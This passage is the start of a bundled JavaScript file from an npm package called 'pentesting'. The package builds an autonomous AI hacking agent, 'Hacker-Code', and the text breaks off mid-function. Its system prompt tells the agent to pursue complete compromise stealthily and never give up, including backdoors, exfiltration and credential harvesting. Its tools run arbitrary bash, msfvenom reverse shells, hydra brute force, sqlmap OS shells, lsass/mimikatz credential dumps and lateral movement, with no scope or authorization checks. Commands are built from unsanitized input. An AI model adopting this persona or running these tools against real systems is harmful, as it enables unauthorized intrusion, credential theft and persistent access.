pentesting 0.1.0

package/dist/index.js

@@ -0,0 +1,2311 @@
+#!/usr/bin/env node
+
+// src/index.tsx
+import { render } from "ink";
+import { Command } from "commander";
+
+// src/cli/app.tsx
+import { useState, useEffect, useCallback } from "react";
+import { Box, Text, useApp, useInput, Static } from "ink";
+import Spinner from "ink-spinner";
+
+// src/core/agent/autonomous-agent.ts
+import Anthropic from "@anthropic-ai/sdk";
+import { EventEmitter } from "events";
+
+// src/core/prompts/autonomous-prompt.ts
+var AUTONOMOUS_HACKING_PROMPT = `You are Hacker-Code, an elite autonomous penetration testing AI designed for CTF competitions and professional security assessments. You operate with minimal human intervention, making intelligent decisions, adapting to obstacles, and persistently pursuing objectives until complete system compromise.
+
+<core_identity>
+You are not just a tool - you are a highly skilled penetration tester with years of experience. You think creatively, adapt to unexpected situations, and never give up. When one path is blocked, you find another. When you're stuck, you reflect and try completely different approaches.
+</core_identity>
+
+<autonomous_principles>
+1. **Persistent**: Never give up. If something fails, try a different approach.
+2. **Adaptive**: Adjust tactics based on what you discover.
+3. **Creative**: Think outside the box when standard approaches fail.
+4. **Self-Aware**: Recognize when you're stuck and change strategy.
+5. **Thorough**: Don't leave any stone unturned.
+6. **Stealthy**: When possible, avoid detection.
+7. **Documenting**: Record everything for the final report.
+</autonomous_principles>
+
+<attack_methodology>
+Follow this methodology, but be flexible and jump between phases as opportunities arise:
+
+## Phase 1: Reconnaissance (\uC815\uCC30)
+- OSINT: whois, DNS, subdomains, technology stack
+- Passive information gathering
+- Social media and public data
+
+## Phase 2: Scanning (\uC2A4\uCE90\uB2DD)  
+- Port scanning: nmap, masscan, rustscan
+- Service detection and version enumeration
+- Network topology mapping
+
+## Phase 3: Enumeration (\uC5F4\uAC70)
+- Deep service enumeration
+- User/group enumeration
+- Share/resource discovery
+- Application fingerprinting
+
+## Phase 4: Vulnerability Analysis (\uCDE8\uC57D\uC810 \uBD84\uC11D)
+- CVE research for discovered versions
+- Automated vulnerability scanning (nuclei, nikto)
+- Manual vulnerability verification
+- Configuration weakness identification
+
+## Phase 5: Exploitation (\uC775\uC2A4\uD50C\uB85C\uC787)
+- Exploit selection and customization
+- Payload generation
+- Initial access attempts
+- Web application attacks (SQLi, RCE, LFI, etc.)
+- Service-specific exploits
+
+## Phase 6: Privilege Escalation (\uAD8C\uD55C \uC0C1\uC2B9)
+- Linux: SUID, sudo, kernel exploits, capabilities, cron, docker
+- Windows: Tokens, services, registry, UAC bypass, AD attacks
+- Run LinPEAS/WinPEAS for comprehensive enumeration
+
+## Phase 7: Pivoting (\uD53C\uBC97)
+- Network discovery from compromised host
+- Port forwarding and tunneling (chisel, ligolo)
+- Lateral movement to other systems
+
+## Phase 8: Persistence (\uC9C0\uC18D\uC131)
+- Backdoor installation
+- SSH key injection
+- Scheduled tasks/cron jobs
+- Service creation
+
+## Phase 9: Data Exfiltration (\uB370\uC774\uD130 \uCD94\uCD9C)
+- Sensitive data identification
+- Database extraction
+- Credential harvesting
+- File collection
+
+## Phase 10: Reporting (\uBCF4\uACE0\uC11C)
+- Document all findings
+- Provide remediation recommendations
+- Calculate risk scores
+</attack_methodology>
+
+<thinking_process>
+For each action, think through:
+
+1. **OBSERVE**: What do I currently know? What did the last action reveal?
+2. **ORIENT**: What does this information mean? What opportunities exist?
+3. **DECIDE**: What's the best next action? What's my hypothesis?
+4. **ACT**: Execute the chosen action with appropriate tools.
+5. **REFLECT**: Did it work? What did I learn? Should I pivot?
+</thinking_process>
+
+<stuck_detection>
+If you notice you're repeating the same actions without progress:
+1. STOP and acknowledge you're stuck
+2. List what you've tried and why it didn't work
+3. Brainstorm COMPLETELY DIFFERENT approaches
+4. Consider: different services, different techniques, different tools
+5. Ask yourself: "What am I missing? What haven't I tried?"
+</stuck_detection>
+
+<tool_usage_guidelines>
+- **Before using a tool**: Check if it's installed, install if needed
+- **After each command**: Carefully analyze the output for ANY useful information
+- **Extract intelligence**: Look for versions, usernames, paths, credentials, IPs
+- **Chain attacks**: Use information from one tool to inform the next
+- **Parse carefully**: Important details are often buried in output
+
+Key tools for each phase:
+- Recon: whois, dig, nslookup, theHarvester, amass
+- Scan: nmap, masscan, rustscan
+- Web: gobuster, ffuf, nikto, sqlmap, burp
+- Exploit: metasploit, searchsploit, custom scripts
+- PrivEsc: linpeas, winpeas, GTFOBins
+- Post: mimikatz, bloodhound, chisel
+</tool_usage_guidelines>
+
+<output_format>
+Always structure your thinking clearly:
+
+[target] **Current Objective**: [What am I trying to achieve?]
+\u{1F50D} **Observation**: [What did I just learn?]
+[hypothesis] **Hypothesis**: [What do I think might work?]
+[tool] **Action**: [What tool/technique am I using?]
+[result] **Result**: [What happened?]
+[reflect] **Analysis**: [What does this mean?]
+\u27A1\uFE0F **Next Step**: [What's the logical next action?]
+
+When you find something important:
+[!] **Finding**: [Title] - [Severity]
+\u{1F4DD} **Description**: [Details]
+\u{1F4A1} **Exploit Potential**: [How can this be exploited?]
+</output_format>
+
+<creative_techniques>
+When standard approaches fail, consider:
+- Different authentication methods/bypass
+- Alternative ports for the same service
+- Different encoding/obfuscation of payloads
+- Time-based vs boolean-based attacks
+- Out-of-band data exfiltration
+- Client-side attacks if server-side blocked
+- Physical/social engineering vectors (in CTF context)
+- Combining multiple low-severity findings
+- Race conditions and timing attacks
+- File upload/include bypasses
+- JWT/session manipulation
+- GraphQL/API-specific attacks
+</creative_techniques>
+
+<self_reflection_triggers>
+Perform deep self-reflection when:
+1. Same error occurs 3+ times
+2. 5+ minutes without any new finding
+3. You've exhausted obvious attack vectors
+4. User provides a hint (this means you're missing something)
+</self_reflection_triggers>
+
+Remember: In a CTF or pentest, there is ALWAYS a way in. If you haven't found it, you haven't looked hard enough or in the right places. Stay persistent, stay creative, and NEVER give up.`;
+var SELF_REFLECTION_PROMPT = `You are performing a deep self-reflection to break out of a stuck state.
+
+Analyze your situation honestly:
+
+1. **What have I tried?**
+   - List all major attempts
+   - What were the results?
+   - Why didn't they work?
+
+2. **What assumptions am I making?**
+   - Am I assuming something is not vulnerable that might be?
+   - Am I overlooking something obvious?
+   - Am I too focused on one attack vector?
+
+3. **What haven't I tried?**
+   - Different services I haven't explored?
+   - Different techniques for the same service?
+   - Custom exploits vs. public exploits?
+   - Different authentication methods?
+
+4. **What's unusual about this target?**
+   - Custom applications?
+   - Non-standard configurations?
+   - Hidden services or functionality?
+
+5. **What would an expert do differently?**
+   - More thorough enumeration?
+   - Different tooling?
+   - Manual testing vs. automated?
+
+Based on this reflection, propose 3 completely different approaches to try next.`;
+
+// src/core/tools/tool-definitions.ts
+var SYSTEM_TOOLS = [
+  {
+    name: "bash",
+    description: `Execute any bash command. This is your primary tool for interacting with the system.
+    
+IMPORTANT:
+- Check if tools are installed before using them
+- Install missing tools with apt/pip/go as needed
+- Parse output carefully for intelligence
+- Chain commands with && or | for efficiency
+- Use timeout for potentially long commands
+- Redirect output to files for large results`,
+    input_schema: {
+      type: "object",
+      properties: {
+        command: { type: "string", description: "The bash command to execute" },
+        timeout: { type: "number", description: "Timeout in ms (default: 60000)" },
+        background: { type: "boolean", description: "Run in background" }
+      },
+      required: ["command"]
+    }
+  },
+  {
+    name: "read_file",
+    description: "Read file contents. Use for configs, source code, logs, data files.",
+    input_schema: {
+      type: "object",
+      properties: {
+        path: { type: "string", description: "File path" },
+        start_line: { type: "number", description: "Start line (1-indexed)" },
+        end_line: { type: "number", description: "End line" }
+      },
+      required: ["path"]
+    }
+  },
+  {
+    name: "write_file",
+    description: "Write content to file. Use for scripts, payloads, configs, reports.",
+    input_schema: {
+      type: "object",
+      properties: {
+        path: { type: "string", description: "File path" },
+        content: { type: "string", description: "Content to write" },
+        overwrite: { type: "boolean", description: "Overwrite if exists" }
+      },
+      required: ["path", "content"]
+    }
+  },
+  {
+    name: "list_directory",
+    description: "List directory contents with file details.",
+    input_schema: {
+      type: "object",
+      properties: {
+        path: { type: "string", description: "Directory path" },
+        recursive: { type: "boolean", description: "List recursively" },
+        hidden: { type: "boolean", description: "Include hidden files" }
+      },
+      required: ["path"]
+    }
+  }
+];
+var NETWORK_TOOLS = [
+  {
+    name: "nmap_scan",
+    description: `Network scanning with nmap.
+    
+SCAN TYPES:
+- discovery: Host discovery only (-sn)
+- quick: Fast port scan (-F -T4)
+- full: All 65535 ports (-p-)
+- stealth: SYN scan with slow timing (-sS -T2)
+- service: Version detection (-sV -sC)
+- vuln: Vulnerability scripts (--script vuln)
+- udp: UDP scan (-sU --top-ports 100)
+- aggressive: Full aggressive scan (-A)`,
+    input_schema: {
+      type: "object",
+      properties: {
+        target: { type: "string", description: "Target IP/hostname/CIDR" },
+        scan_type: {
+          type: "string",
+          enum: ["discovery", "quick", "full", "stealth", "service", "vuln", "udp", "aggressive"],
+          description: "Scan type"
+        },
+        ports: { type: "string", description: 'Port range (e.g., "22,80,443" or "1-1000")' },
+        scripts: { type: "string", description: "NSE scripts to run" },
+        output_file: { type: "string", description: "Save results to file" }
+      },
+      required: ["target", "scan_type"]
+    }
+  },
+  {
+    name: "tcpdump_capture",
+    description: `Capture network traffic with tcpdump.
+    
+Use for:
+- Analyzing authentication mechanisms
+- Discovering API calls and parameters
+- Finding credentials in cleartext
+- Understanding application protocols`,
+    input_schema: {
+      type: "object",
+      properties: {
+        interface: { type: "string", description: "Network interface (e.g., eth0)" },
+        filter: { type: "string", description: 'BPF filter (e.g., "host 10.0.0.1 and port 80")' },
+        count: { type: "number", description: "Number of packets to capture" },
+        output_file: { type: "string", description: "Save to pcap file" },
+        duration: { type: "number", description: "Capture duration in seconds" }
+      },
+      required: ["interface"]
+    }
+  }
+];
+var WEB_TOOLS = [
+  {
+    name: "web_request",
+    description: `Make HTTP requests with full control. Use curl under the hood.
+    
+Use for:
+- Testing endpoints
+- Sending custom payloads
+- Cookie/session manipulation
+- API testing`,
+    input_schema: {
+      type: "object",
+      properties: {
+        url: { type: "string", description: "Target URL" },
+        method: { type: "string", enum: ["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"], description: "HTTP method" },
+        headers: { type: "object", description: "Custom headers" },
+        data: { type: "string", description: "Request body" },
+        cookies: { type: "string", description: "Cookies to send" },
+        follow_redirects: { type: "boolean", description: "Follow redirects" },
+        proxy: { type: "string", description: "Proxy URL" }
+      },
+      required: ["url"]
+    }
+  },
+  {
+    name: "directory_bruteforce",
+    description: `Directory/file bruteforcing with gobuster or ffuf.
+    
+MODES:
+- dir: Directory bruteforcing
+- vhost: Virtual host discovery
+- dns: Subdomain enumeration`,
+    input_schema: {
+      type: "object",
+      properties: {
+        url: { type: "string", description: "Target URL" },
+        wordlist: { type: "string", description: "Wordlist path" },
+        mode: { type: "string", enum: ["dir", "vhost", "dns"], description: "Bruteforce mode" },
+        extensions: { type: "string", description: 'File extensions (e.g., "php,html,txt")' },
+        threads: { type: "number", description: "Concurrent threads" },
+        status_codes: { type: "string", description: 'Status codes to match (e.g., "200,301,302")' }
+      },
+      required: ["url", "wordlist"]
+    }
+  },
+  {
+    name: "sql_injection",
+    description: `SQL injection testing with sqlmap.
+    
+Automatically:
+- Detects DBMS
+- Extracts databases, tables, data
+- Attempts OS shell if possible`,
+    input_schema: {
+      type: "object",
+      properties: {
+        url: { type: "string", description: "Target URL with parameter" },
+        data: { type: "string", description: "POST data" },
+        cookie: { type: "string", description: "Session cookie" },
+        level: { type: "number", description: "Test level (1-5)" },
+        risk: { type: "number", description: "Risk level (1-3)" },
+        technique: { type: "string", description: "SQLi techniques (BEUSTQ)" },
+        dump: { type: "boolean", description: "Dump database" },
+        os_shell: { type: "boolean", description: "Attempt OS shell" }
+      },
+      required: ["url"]
+    }
+  },
+  {
+    name: "browser_automation",
+    description: `Headless browser automation with Playwright.
+    
+Use for:
+- JavaScript-heavy applications
+- Login form testing
+- Session manipulation
+- Screenshot capture
+- DOM inspection`,
+    input_schema: {
+      type: "object",
+      properties: {
+        url: { type: "string", description: "Target URL" },
+        action: {
+          type: "string",
+          enum: ["navigate", "screenshot", "click", "type", "evaluate", "extract_cookies", "intercept"],
+          description: "Browser action"
+        },
+        selector: { type: "string", description: "CSS selector for click/type" },
+        value: { type: "string", description: "Value to type" },
+        script: { type: "string", description: "JavaScript to evaluate" },
+        wait_for: { type: "string", description: "Wait for selector/navigation" }
+      },
+      required: ["url", "action"]
+    }
+  }
+];
+var EXPLOIT_TOOLS = [
+  {
+    name: "searchsploit",
+    description: "Search Exploit-DB for exploits matching service/version.",
+    input_schema: {
+      type: "object",
+      properties: {
+        query: { type: "string", description: "Search query (service name, CVE, version)" },
+        exact: { type: "boolean", description: "Exact match only" },
+        examine: { type: "string", description: "Examine specific exploit path" },
+        mirror: { type: "string", description: "Mirror exploit to current directory" }
+      },
+      required: ["query"]
+    }
+  },
+  {
+    name: "metasploit",
+    description: `Execute Metasploit commands.
+    
+Use for:
+- Launching exploits
+- Generating payloads
+- Post-exploitation`,
+    input_schema: {
+      type: "object",
+      properties: {
+        command: { type: "string", description: "MSF command to execute" },
+        resource_script: { type: "string", description: "Resource script path" }
+      },
+      required: ["command"]
+    }
+  },
+  {
+    name: "generate_payload",
+    description: `Generate custom payloads with msfvenom.
+    
+PAYLOAD TYPES:
+- reverse_tcp: Reverse TCP shell
+- reverse_https: Reverse HTTPS shell
+- bind_tcp: Bind TCP shell
+- meterpreter: Meterpreter session`,
+    input_schema: {
+      type: "object",
+      properties: {
+        payload_type: { type: "string", description: "Payload type" },
+        lhost: { type: "string", description: "Listener IP" },
+        lport: { type: "number", description: "Listener port" },
+        platform: { type: "string", enum: ["windows", "linux", "php", "python", "java"], description: "Target platform" },
+        format: { type: "string", description: "Output format (exe, elf, raw, php, py, war, etc.)" },
+        encoder: { type: "string", description: "Encoder to use" },
+        output: { type: "string", description: "Output file path" }
+      },
+      required: ["payload_type", "lhost", "lport", "platform"]
+    }
+  }
+];
+var CREDENTIAL_TOOLS = [
+  {
+    name: "bruteforce_login",
+    description: `Password bruteforce attack with hydra.
+    
+SERVICES: ssh, ftp, telnet, http-get, http-post-form, smb, rdp, mysql, mssql, vnc`,
+    input_schema: {
+      type: "object",
+      properties: {
+        target: { type: "string", description: "Target host" },
+        service: { type: "string", description: "Service to attack" },
+        username: { type: "string", description: "Single username or file path" },
+        password: { type: "string", description: "Single password or file path" },
+        port: { type: "number", description: "Custom port" },
+        threads: { type: "number", description: "Parallel threads" },
+        http_form: { type: "string", description: "HTTP form format for http-post-form" }
+      },
+      required: ["target", "service"]
+    }
+  },
+  {
+    name: "crack_hash",
+    description: `Crack password hashes with john or hashcat.
+    
+HASH MODES (hashcat):
+- 0: MD5
+- 100: SHA1
+- 1000: NTLM
+- 1800: SHA-512(Unix)
+- 3200: bcrypt
+- 13100: Kerberos TGS`,
+    input_schema: {
+      type: "object",
+      properties: {
+        hash_file: { type: "string", description: "File containing hashes" },
+        wordlist: { type: "string", description: "Wordlist path" },
+        mode: { type: "number", description: "Hashcat mode number" },
+        tool: { type: "string", enum: ["john", "hashcat"], description: "Tool to use" },
+        rules: { type: "string", description: "Rules file for mutation" }
+      },
+      required: ["hash_file"]
+    }
+  }
+];
+var PRIVESC_TOOLS = [
+  {
+    name: "run_privesc_enum",
+    description: `Run privilege escalation enumeration scripts.
+    
+SCRIPTS:
+- linpeas: Linux comprehensive enumeration
+- winpeas: Windows comprehensive enumeration
+- linux-exploit-suggester: Kernel exploit suggestions
+- pspy: Process monitoring without root`,
+    input_schema: {
+      type: "object",
+      properties: {
+        script: { type: "string", enum: ["linpeas", "winpeas", "les", "pspy"], description: "Script to run" },
+        args: { type: "string", description: "Additional arguments" },
+        output_file: { type: "string", description: "Save output to file" }
+      },
+      required: ["script"]
+    }
+  },
+  {
+    name: "check_sudo",
+    description: "Check sudo permissions and potential escalation paths.",
+    input_schema: {
+      type: "object",
+      properties: {
+        check_gtfobins: { type: "boolean", description: "Cross-reference with GTFOBins" }
+      }
+    }
+  },
+  {
+    name: "find_suid",
+    description: "Find SUID/SGID binaries and check for escalation.",
+    input_schema: {
+      type: "object",
+      properties: {
+        check_gtfobins: { type: "boolean", description: "Cross-reference with GTFOBins" }
+      }
+    }
+  }
+];
+var POST_EXPLOIT_TOOLS = [
+  {
+    name: "setup_tunnel",
+    description: `Set up network tunneling for pivoting.
+    
+TOOLS:
+- chisel: TCP/UDP tunnel over HTTP
+- ligolo: TUN interface tunneling
+- ssh: SSH port forwarding`,
+    input_schema: {
+      type: "object",
+      properties: {
+        tool: { type: "string", enum: ["chisel", "ligolo", "ssh"], description: "Tunneling tool" },
+        mode: { type: "string", enum: ["server", "client"], description: "Mode" },
+        local_port: { type: "number", description: "Local port" },
+        remote_port: { type: "number", description: "Remote port" },
+        target: { type: "string", description: "Target host" }
+      },
+      required: ["tool", "mode"]
+    }
+  },
+  {
+    name: "dump_credentials",
+    description: `Extract credentials from compromised system.
+    
+METHODS:
+- sam: Windows SAM file
+- lsass: LSASS memory dump
+- shadow: Linux shadow file
+- mimikatz: Mimikatz credential extraction
+- browser: Browser stored passwords`,
+    input_schema: {
+      type: "object",
+      properties: {
+        method: { type: "string", enum: ["sam", "lsass", "shadow", "mimikatz", "browser"], description: "Dump method" },
+        output_file: { type: "string", description: "Save to file" }
+      },
+      required: ["method"]
+    }
+  },
+  {
+    name: "lateral_movement",
+    description: `Move laterally to other systems.
+    
+METHODS:
+- psexec: PsExec-style execution
+- wmiexec: WMI execution
+- smbexec: SMB execution
+- evil-winrm: WinRM shell
+- ssh: SSH connection`,
+    input_schema: {
+      type: "object",
+      properties: {
+        method: { type: "string", enum: ["psexec", "wmiexec", "smbexec", "evil-winrm", "ssh"], description: "Movement method" },
+        target: { type: "string", description: "Target host" },
+        username: { type: "string", description: "Username" },
+        credential: { type: "string", description: "Password or hash" },
+        command: { type: "string", description: "Command to execute" }
+      },
+      required: ["method", "target", "username", "credential"]
+    }
+  }
+];
+var REPORT_TOOLS = [
+  {
+    name: "report_finding",
+    description: "Document a security finding with proper categorization.",
+    input_schema: {
+      type: "object",
+      properties: {
+        title: { type: "string", description: "Finding title" },
+        severity: { type: "string", enum: ["critical", "high", "medium", "low", "info"], description: "Severity" },
+        description: { type: "string", description: "Detailed description" },
+        evidence: { type: "string", description: "Proof/evidence" },
+        exploitable: { type: "boolean", description: "Is this exploitable?" },
+        remediation: { type: "string", description: "Fix recommendation" },
+        cvss: { type: "number", description: "CVSS score (0-10)" },
+        cve: { type: "string", description: "CVE identifier if applicable" }
+      },
+      required: ["title", "severity", "description"]
+    }
+  },
+  {
+    name: "take_screenshot",
+    description: "Capture evidence screenshot of terminal or browser.",
+    input_schema: {
+      type: "object",
+      properties: {
+        type: { type: "string", enum: ["terminal", "browser"], description: "Screenshot type" },
+        filename: { type: "string", description: "Output filename" },
+        url: { type: "string", description: "URL for browser screenshot" }
+      },
+      required: ["type", "filename"]
+    }
+  }
+];
+var ALL_TOOLS = [
+  ...SYSTEM_TOOLS,
+  ...NETWORK_TOOLS,
+  ...WEB_TOOLS,
+  ...EXPLOIT_TOOLS,
+  ...CREDENTIAL_TOOLS,
+  ...PRIVESC_TOOLS,
+  ...POST_EXPLOIT_TOOLS,
+  ...REPORT_TOOLS
+];
+
+// src/core/tools/tool-executor.ts
+import { exec } from "child_process";
+import { promisify } from "util";
+import * as fs from "fs/promises";
+import * as path from "path";
+var execAsync = promisify(exec);
+async function executeToolCall(toolName, input) {
+  const startTime = Date.now();
+  try {
+    let result;
+    switch (toolName) {
+      // 시스템 도구
+      case "bash":
+        result = await executeBash(input.command, {
+          timeout: input.timeout || 6e4,
+          background: input.background
+        });
+        break;
+      case "read_file":
+        result = await readFile2(
+          input.path,
+          input.start_line,
+          input.end_line
+        );
+        break;
+      case "write_file":
+        result = await writeFile2(
+          input.path,
+          input.content,
+          input.overwrite
+        );
+        break;
+      case "list_directory":
+        result = await listDirectory(
+          input.path,
+          input.recursive,
+          input.hidden
+        );
+        break;
+      // 네트워크 스캐닝
+      case "nmap_scan":
+        result = await executeNmapScan(input);
+        break;
+      case "tcpdump_capture":
+        result = await executeTcpdump(input);
+        break;
+      // 웹 도구
+      case "web_request":
+        result = await executeWebRequest(input);
+        break;
+      case "directory_bruteforce":
+        result = await executeDirBruteforce(input);
+        break;
+      case "sql_injection":
+        result = await executeSqlmap(input);
+        break;
+      case "browser_automation":
+        result = await executeBrowserAutomation(input);
+        break;
+      // 익스플로잇 도구
+      case "searchsploit":
+        result = await executeSearchsploit(input);
+        break;
+      case "metasploit":
+        result = await executeMetasploit(input);
+        break;
+      case "generate_payload":
+        result = await generatePayload(input);
+        break;
+      // 자격증명 도구
+      case "bruteforce_login":
+        result = await executeBruteforce(input);
+        break;
+      case "crack_hash":
+        result = await executeCrackHash(input);
+        break;
+      // 권한 상승
+      case "run_privesc_enum":
+        result = await executePrivescEnum(input);
+        break;
+      case "check_sudo":
+        result = await checkSudo(input);
+        break;
+      case "find_suid":
+        result = await findSuid(input);
+        break;
+      // 포스트 익스플로잇
+      case "setup_tunnel":
+        result = await setupTunnel(input);
+        break;
+      case "dump_credentials":
+        result = await dumpCredentials(input);
+        break;
+      case "lateral_movement":
+        result = await executeLateralMovement(input);
+        break;
+      // 보고서
+      case "report_finding":
+        result = await reportFinding(input);
+        break;
+      case "take_screenshot":
+        result = await takeScreenshot(input);
+        break;
+      default:
+        result = {
+          success: false,
+          output: "",
+          error: `Unknown tool: ${toolName}`,
+          duration: Date.now() - startTime
+        };
+    }
+    result.duration = Date.now() - startTime;
+    return result;
+  } catch (error) {
+    return {
+      success: false,
+      output: "",
+      error: error.message || String(error),
+      duration: Date.now() - startTime
+    };
+  }
+}
+async function executeBash(command, options = {}) {
+  const timeout = options.timeout || 6e4;
+  try {
+    const { stdout, stderr } = await execAsync(command, {
+      timeout,
+      maxBuffer: 50 * 1024 * 1024,
+      // 50MB
+      shell: "/bin/bash"
+    });
+    return {
+      success: true,
+      output: stdout + (stderr ? `
+[STDERR]
+${stderr}` : ""),
+      duration: 0
+    };
+  } catch (error) {
+    return {
+      success: false,
+      output: error.stdout || "",
+      error: error.stderr || error.message,
+      exitCode: error.code,
+      duration: 0
+    };
+  }
+}
+async function readFile2(filePath, startLine, endLine) {
+  try {
+    const content = await fs.readFile(filePath, "utf-8");
+    let output = content;
+    if (startLine || endLine) {
+      const lines = content.split("\n");
+      const start = (startLine || 1) - 1;
+      const end = endLine || lines.length;
+      output = lines.slice(start, end).join("\n");
+    }
+    return { success: true, output, duration: 0 };
+  } catch (error) {
+    return { success: false, output: "", error: error.message, duration: 0 };
+  }
+}
+async function writeFile2(filePath, content, overwrite = false) {
+  try {
+    const exists = await fs.access(filePath).then(() => true).catch(() => false);
+    if (exists && !overwrite) {
+      return {
+        success: false,
+        output: "",
+        error: "File exists. Set overwrite: true to replace.",
+        duration: 0
+      };
+    }
+    await fs.mkdir(path.dirname(filePath), { recursive: true });
+    await fs.writeFile(filePath, content, "utf-8");
+    return { success: true, output: `Written to ${filePath}`, duration: 0 };
+  } catch (error) {
+    return { success: false, output: "", error: error.message, duration: 0 };
+  }
+}
+async function listDirectory(dirPath, recursive = false, hidden = false) {
+  try {
+    const flags = `-l${hidden ? "a" : ""}${recursive ? "R" : ""}`;
+    const { stdout } = await execAsync(`ls ${flags} "${dirPath}"`);
+    return { success: true, output: stdout, duration: 0 };
+  } catch (error) {
+    return { success: false, output: "", error: error.message, duration: 0 };
+  }
+}
+async function executeNmapScan(input) {
+  const { target, scan_type, ports, scripts, output_file } = input;
+  const scanFlags = {
+    discovery: "-sn",
+    quick: "-F -T4",
+    full: "-p-",
+    stealth: "-sS -T2",
+    service: "-sV -sC",
+    vuln: "--script vuln",
+    udp: "-sU --top-ports 100",
+    aggressive: "-A -T4"
+  };
+  let cmd = `nmap ${scanFlags[scan_type] || "-sV"} ${target}`;
+  if (ports) cmd += ` -p ${ports}`;
+  if (scripts) cmd += ` --script="${scripts}"`;
+  if (output_file) cmd += ` -oN "${output_file}"`;
+  return executeBash(cmd, { timeout: 6e5 });
+}
+async function executeTcpdump(input) {
+  const { interface: iface, filter, count, output_file, duration } = input;
+  let cmd = `sudo tcpdump -i ${iface || "any"}`;
+  if (filter) cmd += ` "${filter}"`;
+  if (count) cmd += ` -c ${count}`;
+  if (output_file) cmd += ` -w "${output_file}"`;
+  const timeout = (duration || 30) * 1e3 + 5e3;
+  return executeBash(cmd, { timeout });
+}
+async function executeWebRequest(input) {
+  const { url, method, headers, data, cookies, follow_redirects, proxy } = input;
+  let cmd = `curl -s -X ${method || "GET"}`;
+  if (headers && typeof headers === "object") {
+    Object.entries(headers).forEach(([k, v]) => {
+      cmd += ` -H "${k}: ${v}"`;
+    });
+  }
+  if (data) cmd += ` -d '${data}'`;
+  if (cookies) cmd += ` -b "${cookies}"`;
+  if (!follow_redirects) cmd += " -L";
+  if (proxy) cmd += ` -x "${proxy}"`;
+  cmd += ` "${url}"`;
+  return executeBash(cmd);
+}
+async function executeDirBruteforce(input) {
+  const { url, wordlist, mode, extensions, threads, status_codes } = input;
+  let cmd = `gobuster ${mode || "dir"} -u "${url}" -w "${wordlist || "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt"}"`;
+  if (extensions) cmd += ` -x ${extensions}`;
+  if (threads) cmd += ` -t ${threads}`;
+  if (status_codes) cmd += ` -s ${status_codes}`;
+  cmd += " -q";
+  return executeBash(cmd, { timeout: 3e5 });
+}
+async function executeSqlmap(input) {
+  const { url, data, cookie, level, risk, technique, dump, os_shell } = input;
+  let cmd = `sqlmap -u "${url}" --batch`;
+  if (data) cmd += ` --data="${data}"`;
+  if (cookie) cmd += ` --cookie="${cookie}"`;
+  if (level) cmd += ` --level=${level}`;
+  if (risk) cmd += ` --risk=${risk}`;
+  if (technique) cmd += ` --technique=${technique}`;
+  if (dump) cmd += " --dump";
+  if (os_shell) cmd += " --os-shell";
+  return executeBash(cmd, { timeout: 6e5 });
+}
+async function executeBrowserAutomation(input) {
+  const { url, action, selector, value, script, wait_for } = input;
+  const playwrightScript = `
+const { chromium } = require('playwright');
+
+(async () => {
+  const browser = await chromium.launch({ headless: true });
+  const page = await browser.newPage();
+  
+  await page.goto('${url}');
+  ${wait_for ? `await page.waitForSelector('${wait_for}');` : ""}
+  
+  let result = {};
+  
+  ${action === "screenshot" ? `
+  await page.screenshot({ path: 'screenshot.png' });
+  result = { action: 'screenshot', file: 'screenshot.png' };
+  ` : ""}
+  
+  ${action === "click" && selector ? `
+  await page.click('${selector}');
+  result = { action: 'click', selector: '${selector}' };
+  ` : ""}
+  
+  ${action === "type" && selector && value ? `
+  await page.fill('${selector}', '${value}');
+  result = { action: 'type', selector: '${selector}', value: '${value}' };
+  ` : ""}
+  
+  ${action === "evaluate" && script ? `
+  result = await page.evaluate(() => { ${script} });
+  ` : ""}
+  
+  ${action === "extract_cookies" ? `
+  const cookies = await page.context().cookies();
+  result = { cookies };
+  ` : ""}
+  
+  console.log(JSON.stringify(result, null, 2));
+  
+  await browser.close();
+})();
+`;
+  const scriptPath = "/tmp/playwright_script.js";
+  await fs.writeFile(scriptPath, playwrightScript);
+  return executeBash(`node ${scriptPath}`, { timeout: 6e4 });
+}
+async function executeSearchsploit(input) {
+  const { query, exact, examine, mirror } = input;
+  if (examine) {
+    return executeBash(`searchsploit -x "${examine}"`);
+  }
+  if (mirror) {
+    return executeBash(`searchsploit -m "${mirror}"`);
+  }
+  let cmd = `searchsploit "${query}"`;
+  if (exact) cmd += " -e";
+  return executeBash(cmd);
+}
+async function executeMetasploit(input) {
+  const { command, resource_script } = input;
+  if (resource_script) {
+    return executeBash(`msfconsole -q -r "${resource_script}"`, { timeout: 3e5 });
+  }
+  return executeBash(`msfconsole -q -x "${command}; exit"`, { timeout: 3e5 });
+}
+async function generatePayload(input) {
+  const { payload_type, lhost, lport, platform, format, encoder, output } = input;
+  const payloads = {
+    windows: {
+      reverse_tcp: "windows/meterpreter/reverse_tcp",
+      reverse_https: "windows/meterpreter/reverse_https",
+      bind_tcp: "windows/meterpreter/bind_tcp"
+    },
+    linux: {
+      reverse_tcp: "linux/x64/meterpreter/reverse_tcp",
+      reverse_https: "linux/x64/meterpreter/reverse_https",
+      bind_tcp: "linux/x64/meterpreter/bind_tcp"
+    },
+    php: {
+      reverse_tcp: "php/meterpreter/reverse_tcp"
+    },
+    python: {
+      reverse_tcp: "python/meterpreter/reverse_tcp"
+    }
+  };
+  const payloadName = payloads[platform]?.[payload_type] || `${platform}/meterpreter/reverse_tcp`;
+  let cmd = `msfvenom -p ${payloadName} LHOST=${lhost} LPORT=${lport}`;
+  if (format) cmd += ` -f ${format}`;
+  if (encoder) cmd += ` -e ${encoder}`;
+  if (output) cmd += ` -o "${output}"`;
+  return executeBash(cmd);
+}
+async function executeBruteforce(input) {
+  const { target, service, username, password, port, threads, http_form } = input;
+  let cmd = `hydra`;
+  if (username) {
+    if (username.toString().includes("/")) {
+      cmd += ` -L "${username}"`;
+    } else {
+      cmd += ` -l "${username}"`;
+    }
+  }
+  if (password) {
+    if (password.toString().includes("/")) {
+      cmd += ` -P "${password}"`;
+    } else {
+      cmd += ` -p "${password}"`;
+    }
+  } else {
+    cmd += ` -P /usr/share/wordlists/rockyou.txt`;
+  }
+  if (port) cmd += ` -s ${port}`;
+  if (threads) cmd += ` -t ${threads}`;
+  cmd += ` ${target} ${service}`;
+  if (http_form && service === "http-post-form") {
+    cmd += ` "${http_form}"`;
+  }
+  return executeBash(cmd, { timeout: 6e5 });
+}
+async function executeCrackHash(input) {
+  const { hash_file, wordlist, mode, tool, rules } = input;
+  const wl = wordlist || "/usr/share/wordlists/rockyou.txt";
+  if (tool === "hashcat") {
+    let cmd2 = `hashcat -a 0`;
+    if (mode) cmd2 += ` -m ${mode}`;
